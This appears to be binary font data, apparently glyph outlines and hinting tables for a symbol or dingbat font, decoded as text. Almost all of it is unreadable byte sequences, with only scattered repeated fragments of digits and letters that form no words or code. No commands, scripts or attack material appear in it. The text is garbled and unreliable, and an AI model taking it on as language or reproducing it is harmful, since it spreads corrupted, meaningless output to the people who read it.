�H���O����U(&  6&32!7!!!#!5!&y���E�ߩP�h�����p�������C������Ln[���u�����~��|��|	
����/M#"'&'&'&54767676327'7'%'276767654'&'&'&"(F3"D"&%#C:bV`ZZ^;D"&&$AB[X]:3G�9���:��]��:�F=~=<.,/*??z?<.+.(�!$HS\[Y[VF=*%%'>HS]ZY^XAA&%�i�iD^���29�i���..=<?A<92-.*?:CA<91*���Aa62'%'!!#5!5!5&'&'&'&5476767''7'''7"3276767654'&'&'&�4p6��9��]�.(E$##$E@Z-<���81VDE$###F'1�9�T]���9�T�:��G5>+../:9CG5>+../:9��\���2:�a(EVUb_UVE@(
����	%CEVU_bUTG(Hi�j��:ο�\�i�j�+.<;BA;<./+.<;AB;<./���4�/O!!#"'&'&'&5476767675!5!'	276767654'&'&'&#"���<-Z@E$##$EDVRbfNZ@E$##$EDV18���kbbj�C9:/..+>5GC9:/..+>5�疑
(@EVU_bUVEC%##(@EVUb_UVEC%	���ka��j�P/.<;BA;<.+/.<;AB;<.+	��/O####"'&'&'&5476767632333'7	'%3276767654'&'&'&#"�ܖU
(@EVU_bUVEC%##(@EVUb_UVEC%	U�ܭka��j��/.<;BA;<.+/.<;AB;<.+���<-Z@E$##$EDVRbfNZ@E$##$EDV18��k����j�C9:/..+>5GC9:/..+>5�4�;2"'&'&'&5476767"327>7654'&'&'&��RUEG"##"GEUR�RUEG"##"GEU�C9;\.+>6FC9;\.+>6�#&BIRUb_URIB&##&BIRU_bURIB&s\<;BA;<.+\<;AB;<.+�4�2"'&'&'&5476767��RUEG"##"GEUR�RUEG"##"GEU�#&BIRUb_URIB&##&BIRU_bURIB&���J;"276767654'&'&'&2"'&'&'&5476767�R#$$#R#$$��=>3443>=�=>3443>�"$)($##$()$"�06<?IF?<6006<?FI?<60g�MJJeu&'&54767"#"32#"'&'&'&54767676326762#"'&73276767654'&'&'&#"#'67654'&'�*")$#)�	=HK:C.221@=HK:		=�=@122.C:KH=	�)#!  !#)�##?FM;" "$)($&t.2@?FI?@2112@?IF?@2.x
&$()$'
#?IF?#% $()$ $)($ TZ`z!A_3#"276767654'&'&/2#"'&'&'&54767676"276767654'&'&/2#"'&'&'&54767676��R#)$#R#$$LK:C.221@=HK:C.221@=�R#)$#R#$$LK:C.221@=HK:C.221@=z��Z"$)($&#$()$'�.2@?IF?@21.2@?FI?@21�"$)($&#$()$'�.2@?IF?@21.2@?FI?@21
��JA_}676767632#"'&'&'&'!#"'&'&'&5476767632$"276767654'&'&'$"276767654'&'&'�61@=HK:C.221@=HK:C.5
��21@=HK:C.221@=HK:C.6�R#$$#R#$$��R#)$#R#$$5=51.2@?IF?@21.4>"@21.2@?FI?@21.5="$)($##$()$""$)($&#$()$'��R5%%%x�����r�6��׊eM�M^�x��x��V�)7654'&'575#!&54767'5!s_vR$N:�:N$Rv_���{aT,X@X,Ta{��4b\)1�%==%�1)\b4ߴ�:�`�\KD��DK\�`����-�&  6& #&y���E�ߩP�S�����C������L���"�~�{�Y��,�!#!5!326& '6 !I���(4���~u��P�����|��G�jt���� �~��|���,�	!!#!5!7	�>>�!���VL�����;����|��|�oJ�����,�737!!'!!#!5!'!5!{���{����~z�����z�~��z�d���z��|��{���|��|R�{|x�T%	
!	!5!	#!7!#	#T��?�?���LL�w��������J|�A�|��J��Z�t��|��J��,��$264&"&7673%
%&u�uu�>�hH]�%V��gV��YFh�ݦuu�v���#gG�έ��Ҕ���Eg���D��X�!#!5!&'&5%676'!H����fN)]�H;�bt�WUJn��|3L�u�.�:;���͢8%�|V^m3 76= '&  7654'7! '.54676! ���NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9�`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�
-E  7654' 76= '& 76= '&! '.54676! ���Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9ghVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9sV^m!1?U! '&'!   '&'&76767 76= '&  7654'7! '.54676! x8����;�41�� �::���; 9٫�NΫ.8�l�?���Ϋ��NΫ�,sppp����sppp�>9d]]c�]]]�Փ`VhhV`�"xx hVc`VhhV`cVY9�Q��N�9ss9�N^Q�9sV^�!-;K[s  '&'&76767! '&'! ! '&'!   7654' 76= '& 76= '&! '.54676! K �::���; 9�8����;�41�8����;�41
��Ϋ��NΫ��k��NΫ.8�l�?*��NΫ.8�l�?�sppp����sppp�>9]]]�]]c�]]cehVc`VhhV`cV�|�`VhhV`�"xx ���`VhhV`�"xx Z9�Q����N�9ss9�N^^Q�9s���-� ,"&54632#"767'	2654&#"�@a^CF[^������������cc��Z��礡��}[D>XUAB]�~���Lޜ~g���]�����䤣�أ���lZy�'#"'&#"'&'&'&547676763232767676'&'&'&/&'&'&547676762!2!%3276767654'&'&'&#"&#"3276767654'&'&��s�*	
$+$$$
#*#%>aZ%
NT>%
 #HH
	
")mR��Oe�b�





0



��
 
$&$ 
'
D"&% 
$ #
mR )K�y	


	�	
			V!E�r�26767654'&'."#"'%"'&'&'&54767676;27>764'.'&+"'&'&'&547676762%632$"26767654'&'&�.&&.&m,mQ��j�P
(!N!"(!'CVf&

&bZC'!("!N!(
P�jo�Qm,��.&&.&q



l�?W�,>#

"#"
"		"
"#"

#>,�W?~



�lOYx�3!#!"'&'&'&547676?6767676'&'&'&#"#"'&'&'&547>763276;%326767654'&'&'&#"6767654'&'&'&#"32����eO�uRd2
	
HH# 
%>TN

+Za>%#+$
4$$$+$
	'�s��	

*

	

*
O�K) Rd#!#&
"*"D'  ""! 2
 	T	

�:	



	I���Zx����-4H67&'&'&+"'&'&'&476767632%632
#"'%#"'&'&'&54767676;276276767654'&'&'&"276767654'&'&'&""'&'&'&547676762"'&'&'&547676762'&'&'&547654'&'&'&";276-&#"+"276767654'&5476%327%&"'&'&476762I	Q\C--%("(/*0.,+"(
/�X]�\�9��<�\�X�/"$)0*3')"*
%1*0CR[��	

		

		

		

	22				2				2				2				�%�'

&J 


&%C\d#��_*]O���hXC%&


 J&

��O]*���								�

 
")&`&"'$"/'	<%�ZS
��%
SZ�%<	/'* "%5"-($# 	��;��8\=
! ! "
���/V�C
" ! !

[uV/�+							V��^�n��3276767654'&'&'&#"&'&5476767632#"'.54767&54732#"#"676767'&#"'67654

o��zwbd011.f_zx��|wbd011,k9995ul������sp:995un�����*D$l��Q$"	6*D?"5'K(2-
#%�>


:7331cdvw��wqi`4331cdvw��xD>�m������wn<;;8ro������wp:;;BV0/+"���8:D@*|sa 	-F(7"*=8&0!2  1-5$&
6:B4V��^�,Ji�&'&'%&'&"632%676767654$2"'&'&'&5476767"3276767654'&'&'&'2#"'&'&'&54767676�?!*$ 1�$-+h+-$F3782�*	!?��1 $��>>9�|wbd0111c`�zwbd011.f_zx����sp:995un������sp:995ul��wIP�"2-.$ 	�""�		��PI� $.-2!v31cdvw��zwcaf31cdvw��wqi`43d;8ro������wp:;;8ro������wn<;x,A�-57'36%33#3#!2#!3#3##$'#7�$@d��5�{s�Vd�]�F0  0F���]�dV�s{�5�⒒d@�(��
j�P�P�,�P�P�`����0�
")-	!676762!"'&'&'&54!���X�$#R#+/��R���F��F$#R#$1�S����h,��		������k��-�"�s!�����|�K���476?6763&'&'&547632676767654'&7632!54'&'&76'&&#"'&/&'&'&#"#"'&'&/&'&#"&'&'&?6'&'#"'&'&#"!'476/654'&76'327654'&'&327654'&/�%4&)"$0JK&
$)7
	��	%1�'#
#6	+-L
_�_^/s4*1(
.266	|/(1	

\�	��#:7
l�S&x�71]%
/~[#<$ o�_%?,�:
*(;�Y��)$X$+|��=L�!6CX&PY8�9Do6�
b'n�283�eF]4T&
& /50$?- 1@&	3l
K

C"P1�	��:07@D:5XI6.D3�[+-1:
			q/A8	

g+�jl9Lp{��7654'"'&#"+"'&54?67676763276323273#5%6767'&#"6"/67#"27632327654'73654'676547&�p/l0&�J!cS%Y���E]{@C"$4>�-;%
��,(6�Y>�m��!N$X�6"/,(�4�sS?X$U�>"sJ?K(`./4�+2K2.�0>��S
�Zp0+��1^�' ��;cs /�^"|Y/
4�28ۇ��ϕl%�%ot�5oA='Y$	a���T*
''G+-
%_kj~r�}jL`І|�\g�K@/.85�c($����")3SZ67654/##3276?%%54'654'36767632#"'&54767632'%;66I�
���
��
�	}��g���
A���6��q�n

		
		

->
9@
�H67;���
��z���h�|	��9
>��6!q���

	




���B5��> '-EL4'&'&/767675'7!	!'!654'!4'!!$4767>2"&'&'!654'�
�33�
��^^^��RX�����I�#�J2�V��l�P�#�
	~!8�8!~	
U�pp�ph�����,��p�<((zd����")3SZ&'&#"227654'&'''%'654.#"65&'&'&547632#"'&'&6#"%	
�I66;�o�
��
��|����>A%6!��q�

		
		

9
��		;76H�
�
��
���	|��h���>
9�6��q�m





	
B��X{[#C'%%.'&"27>7%$6%"'&'&'&47676762%'�2&%k��




A����ڙ����>>d�I��ID`q��S
	
 

S��qG�Yq�>�q��)&%$64'%%&'&'&"27676�&����22�"k��**�!��q`�`q��!3�W
2327632#"'&'&5476�'(
�>� !�~��GH
".4F+�@x�H	)�0��$��'*'���27277632#"'&'&5476�'(
�e`�}{*�279HFb@y��J��L���1 -��A		'	7	�Ɏ�8�7��7��Ɏ�7��7��ɍ�8ɍ�?�	�t�������t��7tt7���t��7tt7��u������B2632#"'&'#"'&54767'&54763267632676�
��Q� x��� L$3��z(		
 
6X���3�������6*=P*>
"�#
������Q26#"'#"'&'#'&'#"'&547&'&54767&&5476326763276T
 �디% $$Yy�X$		��zc0+
j���:
(��̢1#:_����&
#-
�Խ=1 '2ĺ�pD�#!!!!!%!!!!!!!!#!5!36�H�V�������B���B�X���B�B�����U�H�V��P���B�X��y�B���pD�!!!!!!""��p��"���p��"�#pD�35#7!!#!5!3����r���r�s��r�spD�!!%!!!!!!���r�"��p��"�#��p��"�#Rb�!!#!5!3���p�p��E�U��l�3!!'#'!!#!!3!5@��������,r����,�,�����_��r,��,���_��>v�#!!!!!'!!!!!!!!#!5!3����h�����������m���_�|P��_��H�_��pD�Q#"#3;54'&'&'&#5!"3276767653#4'&'&'&+3!52767>5{dZYIB,$22$*DE]Vh{%'GC_Rl|lR_CIJ{hV]ED*$22$,BF\Zd{%'GC_Rl��lR_CIJ�&%IB`Oo|oO\FG'$zdZ\GB+%22%+BI�dz$'GF\Oo��oO`BH&&{dZ\GB+%22%+BI�d����� #!!!!!373#'7#Z����A��A���:��L���lحmllm�z�l��mllm��|�}�}�|���d��� �d���}�c�����T��`�C54'&54762327632#"'&+"'&5476=#"#"'&476323(L,68x86,L �zFvd0000dvFz� L,68x86,L �zFvd0000dvFz� �zFvd0000dvFz� L,68x86,L �yFvd0110dvFy� L,68x86,LV��^��&'##"&'&'&4767>32367675&'&'.5467676236767>32#"&'&'&'#"'&'.546767675&
�
 R.-R  R-.R "	�
*!""! ((\(( !""!#%

�	" R.-R  R-.R 
�

%#!""! ((\(( !""!*�*!""! ((\(( !""!#%

�
 R.-R  R-.R "	�

%#!""! ((\(( !""!*
�	" R.-R  R-.R 
�
S��a��4'&'&'&'.54767676322767676767632#"'&'&'&'&'&#"'&'&'&5476767676765"#"'&'&'&5476767632($
((& :.:806$&&
)D+:!

'228:/3&$$&3/:822'

)2/@!

'&$6/r/6$&'

'?03'
&d8:02&!$&20:=-2&
(20C,7"
&d8:02& $&20:=-2&
(10?!

'&$6/r/6$&'

'D+:!

'228:/3&$$&3/:822'

)2/@'
((& :.:806$&&
(T��`�0267632#"'&'&'!&'&'&54676763267632#"'&'#"'&'&'&5476767!6767632#"'&'"'&'&'&54767#"'&'&'&5476767632!#"'&'&'&54767#"'&'&'&476767632&'&5476767632!#"'.'&5476767632&'&54767676Z



(
&	 

	��	

<

4	��
	












%
(



�


(


��
2



	

6


��
	

	
%		

	

<


%


(


W��_�276767653"4'&'&'&W���sp:995ul������lu599:ps���;8ro������wn<;;<nw������or8;W��_�?247676763"'&'&'&5!276767653"4'&'&'&ee\WJI&%%"MF[[ff[[FM"%%&IJW\�����sp:995ul������lu599:ps���&%JHZYif\UMH'&&'HMU\fiYZHJ%&;8ro������wn<;;<nw������or8;0����	%	%!	!0��$��$ѿ����������6��a���������l��LlV��^�	)!	!2#"'&'&'&54767676Z���¬�ì�Ӭ���sp:995un������sp:995ul������H��H;8ro������wp:;;8ro������wn<;0����'"276767654'&'&'!	!��99000099�9900009|�k������k�-28;BA;82--28;AB;82-&������l��Ll0����	'1%	%2"'&'&'&5476767!	!0��$��$��99000099�9900009|�����������6��a�����-28;BA;82--28;AB;82-&������l��Ll0����	!''!!	!!	!Z`5�_��_�5`��/x�xx�x�/��k������kI�ٶ�ڶ�&���G��G����������l��Ll0����	3'7'3!	!7!%%!Z&|d&dd&d|&�k������k�s��/u//u/��IvIvIIvI������l��Ll�������c�0����%5%7'%!!	!�x��x�x��`�/����k������k����K���K���G�T������l��Ll2��
	'%'!!!!��>�����j���>-�����'��O^�__�^�Oq����4��4H4�"h�d��d�����0�!%
%!-�@���j���j���j���k��*������*������37'7	#'�xx�xx���.x���x�.�x�.�.x������
��������
�����pD�	#'!5!73!��G�Fd�FG���r�EG�d�G�Er��FG���q�FG�d�G�Fq���G�Ed@��L�	
		-	FO��F��c�,OO�,c��F����d�,PO�,d��G���OP��	T��`�'!%%%!%%
%-��wD����{��ww�f#w��%�f{ww�����y��|���|��y����{��xx�f#w��%�f{ww���xE����y��|���|��y������������%	%	Zp/�A���pp����A/��}�}���E����T��`�	
		-	Zq�����Nqq�N������Nrq�N�����qr���T��`�%
%-Z�y�l������������l�y����������l�y��y�T��`�%%
%%-ZtGc�V���G��tt��G���V�cG��G��st��G���W�cGtsGc�pD�/3%!!%#'''%!5!%777x�o�:U���.�c��F�.�d;U�ǩo�x�o���U:�e.��E��c.���U9�o��E�.�f:U�ūo�x�o���U9�g.��F��f.���U:�o�x�o�9U���.���
��54'&5476276767632#"#"#"323232#"'&'&/"'&5476=&'&'#"'&'&547676323232?&547'&#"#"#"'&'&54767632676'K,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'El��wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;���
��"276767654'&'&/54'&5476276767632+"#"32;2#"'&'&/"'&5476=&'&'#"'&'&547676;232?&547'&#"+"'&'&54767632676o**YK,68x86,L
qA'C<4GW>L
�df�
L>WG4<C'CnL,68x86,M	nC'C<4GW>L
�dd�
L>WG4<C'ElPL�wFNd0110dNFy~DzI'#4#,G2$:;$2G,#4#'I~?	yFNd0110dNFy
?~I'#4#,G2$::$2G,#4#'I�;����j'&'&'&767654'&54762767676'&76'&'&/#"'&5476='&'&76767�/1�oS\**nH\W+G80j@6R�R6@j0/P1Q\Hn**\Wk�9000�oS\*,lLXW+G80j@6RTXN6@j03L/S\Hn*+[Wk�6�	05HoIH 53c�!77�\`j4OO4jfV�A7�g/5 HIoH53 	05HoIL43c�!77�\`j4OO7gfV�A7�f05 HLlH53 �������67654'&"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"#"'&#"327676%32767654'&'&#"#"Z8%1T1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3��DA	
5<;
>
+F$�H$F+
>
;<5
	A�cJ2QD++DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(�""'!$(:UJJU:($!'""nF��"276767654'&'&'767632#"'#"'&'&'&'#"'&'&'&5476767#"'&'&'&5476767632&'&5476767632��=>3443>=�=>3443>x>%85670-)-%8/>0!-)-02;>/8%0
)-02;>/8%-'&$>/:#-)-02;>/;))-02;>/8%-06<?IF?<6006<?FI?<605+'61>:4/.&"./4;=16'+&1,"%&!6'+&./4:>1:#"$./4:>16'+,4:>16'+&./4;=1nF�n�����%#"'&'&'&5476767#"'&'&'&5476767632&'&54767676267632#"'#"'&'&'&27654'&'&'&"67&'&'&'276767&54767'&'&#"276767654'&/7676767654'&'&'&#"Z
0%8/>;20-)-!0>/8%-)0-<1:3%>-%8/|/8%->%85670-)-%8/>0!-)-02;>/8%0
M�=	
 H 
	C# B/g

 H �*x#$ 

 -7 H 

g/B �� 

 $#x*�%",1&+'61=;4/."&./4:>16'.5
1=;4/.&&./4;=1
5+'61>:4/.&"./4;=16'+&1,"8_/$ 

 $/_�c.,b" $# 

!�I?30C

!'# 	��x!

 #$ "b,.$	 #'!

C03?I
T��`�-[�3b���&'#"'&'&'&547676763267'&#"327%327676764'&'.#"7632#"'&'&54767676324676762676322##"'&'"'&'.5#"'&'&'&54767"'&'&'&54767676&'&'&'&'&'67676?&'32767677676765&'&'.#"7676767&'&'&/326767674'&'&'67'&'&'&#"67'&'&'&'67676767"276767654'&'&'"'&'&'&54?&'276767654'7654'&'&'&"67'&547676762:�	


	��$4

$�$

4$��


��% !()-+,)$"! ((\(( !"&',+-)(!'7'&"# ,*2% !()-.))$"! ((\(( !"(%*-,*(! #2*&"# "&'��


		��!


4 �
�!



4 
g�


	��	

	�i 4


!��g
 4



!��
	

	
oR#$$#R#$$	

	8

<

c7

<

7	

�



8
<

d8

<
6


 %),++*) !$3R  R3&!-(-%2(&"#%(.2$( &',+,)) !$3R  R3'! )),,+)$"#%(.2$( "�
�
		

	
�i
!xg


!��
		
	
	
�%�



			
�
�!
��!


g�


			
�"$)($##$()$"�$�

		

��%%�%%��

		

V��^�<\l"276767654'&'&/2#"'&'&'&47676762#"'&'&'&54767676%
%-�z35++++53z35++++5pWDM69 ;9JHSWDM69 ;9JHS���sp:995un������sp:995ul�������}���������}��(.35<;53.((.35;<53.(�"68MITNLJ;9"68MI�LJ;9m;8ro������wp:;;8ro������wn<;�}�������}�����������������"327632#"'&'&/#"'&5476=#"'&'&5476763232?'&#"#"'&'&5476763254'&5476276767632#"'&#"27654'&%&'&#"327676%327632
654'&'&#"#"Z*1%8�5e %ZF\+m8BS/?JV@6RTXN6@VGB1QB8n*\FZ% e53e!&ZFZ*n8BS/?JV@6R�R6@VGB1QB8m+\FZ&!e3�*1%8�~>
+F$�$��>
+F$H��
;<5
	A�~
;<5
	A��+DQ2J�� (5H,'9,J&0f�)
T|\`j4OO7g`\|T
'�g/& H,9',I4( (3J,&9-H &0f�)
T|\`j4OO4j`\|T
'�g/&J,9',H5(��G+DQ2J��$(:U���$(:U3�!'""��!'""���A''7'753'75377537'7'#5''#5'7#5'7'7���<��<�x��<�x�<��x�<Ć<����<��<�x��<�x�<��x�<Ć<��phMrhr��ohM��Mho���rhrMhp��phMrhr���ohM��Mho��rhrMhp��!%)-153%%
%%#'-75%77%7?5x#	<��$��	<����x���<	��$��<	#��#���������������x��̩���h����h������3�Q�h����h�P�'�c�cc�chcbbccbbgc�c��c��0�A37%37'
7'#%'#5'7#5'7'7-'7'753'7x�d��X<[�d��d�Y<\���d�x�d��[<X�d����d�\<Y�
�d��hQ���Λ�4h5Q������Q4h5���Ћ�QheQ��5���5h3Q������Q5h3���6��Q�����#"'&'67632#"'&'&547'".46767#"'&'&54767627'#".4767632&'.4676327&54767632�./56.��.65/.-/531/�.66\l\66.�//56.../j/��136\6./531/�.66./56\66.�0.65/3m6.5/.��./54///.6���\l\66\l\�6.//.65/.��6\l.//.6�\l\6\l\��6.-	a��S�.E\s"&462	7	7	'	'&'&'&5476762"'&'&547676#"'&'&47676326767632#"'&'&�X|XX|��}U��
�U���}U����U��9r99r�<%DREA 11 AERD%�<%DREA 11 AERD%,|XX|X�.�U�|J�U�~-�|U��
�~U�.<%DREA 11 AERD%�<%DREA 11 AERD%9r99r	a��S�+?Sg"&462				"'&'&476762"'&'&4767622"'&'&4767$2"'&'&4767;������i)U���)U��
)U��K)U��'.n.''.n.''.n.''.n.'�p17#((#71p17#((#7Mp17#((#71p17#((#7K������8)U��L)U��~��U)�^��U)Ip17#((#71p17#((#7��p17#((#71p17#((#7Y'.n.''.n.''.n.''.n.'	T��`�&3@MYam+%5%32476;#"'&'7632&54?#"632'&54#"/72#547"&462"'&=3`(
�`�
&��(
��`
&*��G)*��IG��)(*(G��e))��GI��R2d2�X|XX|R2d2�*2d2((2d2M*'��FI��*'F��e��F)*��IF��)*
(
�a�
'�U|XX|X�c(
��a
'T��`�l267632%632#"'%#"'&'"'&547#"'&54767#"'&47632&'&54763&5476Z+/#N42B4
�{�L"..$J%�(�4B+;
��N#/V/#N��
42B4��(%J$.."L�{
4B$BN#.�/#J�"�5C7/	��N".X.$M��51C5	��"J#//#J�{	5CLM$.X."N	51C!�w�J#/f����
#�+�+�A&6FVfv������
]A��]A��]A)9IYiy������
]�%��+��
+���и/��и/��и�"�01! 4$#"# 4$32632!"��������������?�q��q�?����p��G�����Q�?�r������Az����7�+��
+�
�
��
+��+�01%!#!3!���d�d�,S.��S�d�,z�87�+��+��
��+��
+�
01%!%!35!�����,d�S.��d�d�,z����	7�+��+����+��+�01%!!!���S�d�JS.��SԂ�Jz�8	7�+��	+�	���+��+�01%!!7!�����,��S.��S�d�J������	/�/01	�SS���TR���SS����SS���S����SR�����U�����"S������#�����!�����!��X��(��+�/�+�01!33����R�(n?��x(��'�+��/�+����01!##xn��R�����?�(��
K�/�/��и/�ܸ�ܸ��/�
/�+���и��01!33!33����R������R�(n?����n?��x(��
S�/�/��и/�ܸ�ܸ��/�
/�+���и�и��01!##!##xn��R��n��R�����?n����?>�B-�OS2#"327676765!"'&54$3!57!##"'&'&'&54767676#�	
 ?>I-7��އv�3�T��%+>CPNHiDG-2/&D9���	.	!-8=DD_o����2�{��jTc@F'%.36<@M137+4V������52&'&547676762"'&'&'&5476767Z�y*,&������&%1]~|45,--,54|45,--,5�(+&014|d��΃fz410&$(�F*.46=<64.**.46<=64.*N��f�%C&%&547676762476767622"'&'&'&5476767Z{���&%1-l./&%%&/.l-1%&����|45,--,54|45,--,5�ġS�410&$%%1/66/1%%$&014�R���*.46=<64.**.46<=64.*n�F(%%&%&54767676247676762Z��_�75EA�AD6556DA�AE57�_���q�KFD6454FCNNCF4546DFK�o�X����'#"'&'&'&547676763"'&'&'&5476767632���r�JFD6464FBNNBF4646DFJ�p��`�84F@NLBD6466D@NLBD66�^~*��
i654'&#"632327632!"'&5!267&'&#"#"'&54763247632327654'&547632#"�
6+Jo.^V|;-�˙it36?��̺�fQMe�EJS?(*$ s]vh2K)*NL13<VL*-*8A*�_xAg0,?)!:"9�JOCQ>^�v:Mc*�Z����e��C0�3N35%&-Kt\K%9S >BWN=!$?$8(F!5{^?�Z�N676 547&'&327#"'#536767&'&'&5432&5476323254'&5432�?-BO>B���v06('K`dC+(�k$'eM?$#=Hb�B=)+8=.m�9ebPB��>$3g:=�T�EB7WPfG+1K�H�P<Ff#&T'0P+A'���<<Q�bF���/' "'&'&'&547676763"3/�����FDD@�����mh`�((((SNecr��GC����������FG/C>���������}DC���/'"05276767654'&'&#052�rceNS((((�`hm�����@DDF������/CD}�������>C/GF����������CG���!&547������������>�2�;����������0!!676P��JK����BA��<�������������!	!���$�����	!	���"�����#�{!	!{�<�l��`��9��	!	9��`���l���U�?!	!?������w�`	!	w���������HZ�j��j��j�j�l��'7'7Z�j��j���j��3��j�f��$#"&=4&+5326=46;#"3��l�==�k���D�V[noZV������t�s��ݓ�X��������X���N(326=467&'&=4&+532;#"+�D�VZon.-V�D�UT65�==�lTU�ԾX����GG���X�JI��9:�t���JJ�����
�+��
+�
01! 4$32!5##7#��?���?�q��q��iڡ������A�?�r����\�/�+�������
*�%+�%�
+�
01! 4$32>54&#">32!5!>��?���?�q��q��>0ţ=�as�;N_/>!��R��L}���A�?�r����Fi:}�$�:&N?(U?"�M��t������
6��+A��]A)9IYiy������
]�1��.+�.�
+�
�!'+�!�+��9�*'!901! 4$32%4&#">32+32#"&'32654&'26��?���?�q��q�|��=�_ky4[\XZ��cksuD}[X�@��v
h��A�?�r���s�� ?<:<�NGLO0���]�r�����
�+��
+�
01! 4$32!	!3535##��?���?�q��q���
�C�������A�?�r�����~����ӍH�����
+��!+A�!�!]A!)!9!I!Y!i!y!�!�!�!�!�!�!
]�+��
++�
�+��($+�(�901! 4$32>32#"&'32654&#"75!5!��?���?�q��q��Ye2hvvhDw_X�@��ϰ?�����A�?�r����%aVUa/�����
�������
2�3/�4/�3�и/�4�ܸ�A��]A)9IYiy������
]���A&6FVfv������
]A��]� +� �
+�
�+��,&+�,�/&,901! 4$32#"&54632"32654&#"7>325.��?���?�q��q��\NN\\NN\q���º�N�	w/aTJj��A�?�r�����ZbbZ[bb*�������=P�#������
�+��
+�
01! 4$32%!35!��?���?�q��q�����l�U��A�?�r���v��]K�����
1=��+��+�� +�A��]A)9IYiy������
]A&6FVfv������
]A��]A� � ]A ) 9 I Y i y � � � � � � 
]�/9�;9�;/A�;�;]A;);9;I;Y;i;y;�;�;�;�;�;�;
]�5��+��
)+�
�+��28+�201! 4$32#"&5463232654&'>54&#"2#"&546��?���?�q��q��_TT__TT_�⾭��vi����jvkKRRKMQQ��A�?�r����lHQPIIPPI����\�vSt��tSv��B>=BB=>B�����
&2�3/�4/�ܸ�A��]A)9IYiy������
]�3�'и'/�-�A-&-6-F-V-f-v-�-�-�-�-�-�-
]A�-�-]�+��
+�
� +��*0+�*�# 901! 4$32254&#"326#"&'4632#"&��?���?�q��q���鿹�º�O�
w.aUJk<\NN[[NN\��A�?�r����K
�����<
O�$��[bb[[bb�����
$0Ӻ%+�%�+��++�A��]A)9IYiy������
]A�+�+]A+)+9+I+Y+i+y+�+�+�+�+�+�+
]�+��
.+�
��(�01! 4$32!5##7##"&5463232654&#"��?���?�q��q�$Ÿu����F?@EE@?F�p����������A�?�r�������*�'��$���������������	���=(F  76767654'&'&'!5%3!!  '&'&'&5476767�̆�mo5885om��4��mo5885om�������P�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�}�9�:�݈�@>}~������~}>@@>}~������~}>	���=A_  76767654'&'&'!!5676767654'&#"5>32  '&'&'&5476767�̆�mo5885om��4��mo5885om��)4�
\��)NBCkPQT`a�F�noIkl�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6����_��.X<<;_<<5�'(]]�IBBZooV@>}~������~}>@@>}~������~}>	���=Om  76767654'&'&'#"'&'5327654'&+5327654&#"567632  '&'&'&5476767�̆�mo5885om��4��mo5885om�ttBAzy�LOPUD�W�OPJJ���x??�zBLL\R[PG�jkr�=\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�yNNt�aa�'(<<rj<;�0/Z\b�
ST�d�	@>}~������~}>@@>}~������~}>	���= +I  76767654'&'&'!33##!5  '&'&'&5476767�̆�mo5885om��4��mo5885om��h�*˪����+\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��������@>}~������~}>@@>}~������~}>	���=?]  76767654'&'&'!!67632#"&'532654&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���z�##$#�ut��K�SLHMV����A@AC�\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6c���nm����)�}|�X@>}~������~}>@@>}~������~}>	���=,Jh  76767654'&'&'"327654'&.#"67632#"'&7632  '&'&'&5476767�̆�mo5885om��4��mo5885om���l@@�lm@??@�=|<�UT/GGV�hiڵ�mn���=|�^\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��KJ���KK��JK��ll�E&%mn��ޟ�-��@>}~������~}>@@>}~������~}>	���=$B  76767654'&'&'!#!  '&'&'&5476767�̆�mo5885om��4��mo5885om��\�N�����\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6`E��#�@>}~������~}>@@>}~������~}>	���=+BNl  76767654'&'&'"27654'&%.546  &54632654&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���sBBBB�CBBB��ht�d�thuAB�tԄ9tihvvhit0\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�,=>�=>>>kl>=E�g����g�OOs����s�\hh\]hh�@>}~������~}>@@>}~������~}>	���=<Lj  76767654'&'&'532767#"'&54632#"'&27654'&#"  '&'&'&5476767�̆�mo5885om��4��mo5885om���=|<�UT.GHV�ghڴ�mm���=?>�m@??@ml@@@@J\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6��lk�D%%lm��ޟ���橨KJ��JKKJ��JK�@>}~������~}>@@>}~������~}>	���=+8Ca  76767654'&'&'"32654'.  735733!  '&'&'&5476767�̆�mo5885om��4��mo5885om�T,+VUVV++�2QPPQ�ΠP�3������p\��|~<??<~|������|~<??<~|��96oo������oo6996oo������oo6�{z������~{�����ӟ�>-,��g�%�&�݈�@>}~������~}>@@>}~������~}>	���=
(!5!#%  '&'&'&5476767������{\��|~<??<~|������|~<??<~|���#:�9�q @>}~������~}>@@>}~������~}>	���=#A676767654'&#"67632!5  '&'&'&5476767��lkIon�F�a`TULkCBN)��\���\��|~<??<~|������|~<??<~|� �ooZBBI�]]('�5<<_;<<X.��_��@>}~������~}>@@>}~������~}>	���=1O>54'&#"67632+32#"&'327654'&  '&'&'&5476767irkl�GPQ\\LLBz�??x���JJPO�W�DUPOL�yzAB�2\��|~<??<~|������|~<??<~|��d�TS
�b\Z/0�;<jr<<('�aa�tNN=@>}~������~}>@@>}~������~}>	���=
